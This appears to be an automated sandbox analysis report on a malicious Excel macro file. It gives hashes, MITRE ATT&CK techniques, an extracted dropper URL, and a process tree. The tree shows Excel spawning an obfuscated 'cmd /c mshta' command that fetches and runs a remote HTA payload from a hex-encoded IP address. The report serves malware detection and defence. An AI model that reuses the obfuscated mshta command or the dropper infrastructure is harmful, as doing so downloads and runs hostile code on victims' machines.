b1e6994bde3ca775af59e2ff26b91c426c354f14e7593afbc100afc132ec7bc6

General

Target

b1e6994bde3ca775af59e2ff26b91c426c354f14e7593afbc100afc132ec7bc6.xls
Size

70KB
MD5

d9482b1fbcb43993bbb99502681babbe
SHA1

75632be24e11ab94892b5eb9e5b56e88986a2bdb
SHA256

b1e6994bde3ca775af59e2ff26b91c426c354f14e7593afbc100afc132ec7bc6
SHA512

81c0495a923592e89f877bfa91d5b1d3b676aba9833d5ea6cd050b0b2a83ac935e085a8e10d8ac6470f4080e022d1d5926998b4279a4ff71ae9288a98261cb63
SSDEEP

1536:bpEk3hbdlylKsgqopeJBWhZFGkE+cL2NdA8eXZiozeOgXVZKyaZpvyR1kZkJvU+:bCk3hbdlylKsgqopeJBWhZFGkE+cL2Nr

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/fer/fe2.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	4940	4788	cmd.exe	81

Blocklisted process makes network request 1 IoCs

flow	pid	Process
19	728	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

pid	Process
4788	EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

pid	Process
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE
4788	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 4788 wrote to memory of 4940	4788	EXCEL.EXE	83
PID 4788 wrote to memory of 4940	4788	EXCEL.EXE	83
PID 4940 wrote to memory of 728	4940	cmd.exe	85
PID 4940 wrote to memory of 728	4940	cmd.exe	85

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\b1e6994bde3ca775af59e2ff26b91c426c354f14e7593afbc100afc132ec7bc6.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4788
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:4940
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/fer/fe2.html
    3⤵
    - Blocklisted process makes network request
    PID:728

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
41c99f9e6f7358dc1feb51de4f680e56

SHA1
e8fa3aa943b2018e770b6cba64f676f60a6e7135

SHA256
69ebc2d28797c1d3ca5321b8807d7031b5ec9377da0733cf0ff8a3b019d9cb79

SHA512
21b2b71099e4f29902d1ce946a258d71d4d99fa5d430c13a7cca25c6d0b9a012c87332591c1880f4ff0c5d1203ac5f33a796936f1c8f47238804a23dfad94f9b

Download Submit
memory/4788-11-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-5-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-10-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-13-0x00007FFB44CF0000-0x00007FFB44D00000-memory.dmp

Filesize
64KB

Download
memory/4788-12-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-6-0x00007FFB475F0000-0x00007FFB47600000-memory.dmp

Filesize
64KB

Download
memory/4788-9-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-8-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-7-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-0-0x00007FFB475F0000-0x00007FFB47600000-memory.dmp

Filesize
64KB

Download
memory/4788-2-0x00007FFB475F0000-0x00007FFB47600000-memory.dmp

Filesize
64KB

Download
memory/4788-4-0x00007FFB475F0000-0x00007FFB47600000-memory.dmp

Filesize
64KB

Download
memory/4788-1-0x00007FFB475F0000-0x00007FFB47600000-memory.dmp

Filesize
64KB

Download
memory/4788-16-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-15-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-18-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-19-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-17-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-14-0x00007FFB44CF0000-0x00007FFB44D00000-memory.dmp

Filesize
64KB

Download
memory/4788-32-0x00007FFB87570000-0x00007FFB87765000-memory.dmp

Filesize
2.0MB

Download
memory/4788-3-0x00007FFB8760D000-0x00007FFB8760E000-memory.dmp

Filesize
4KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads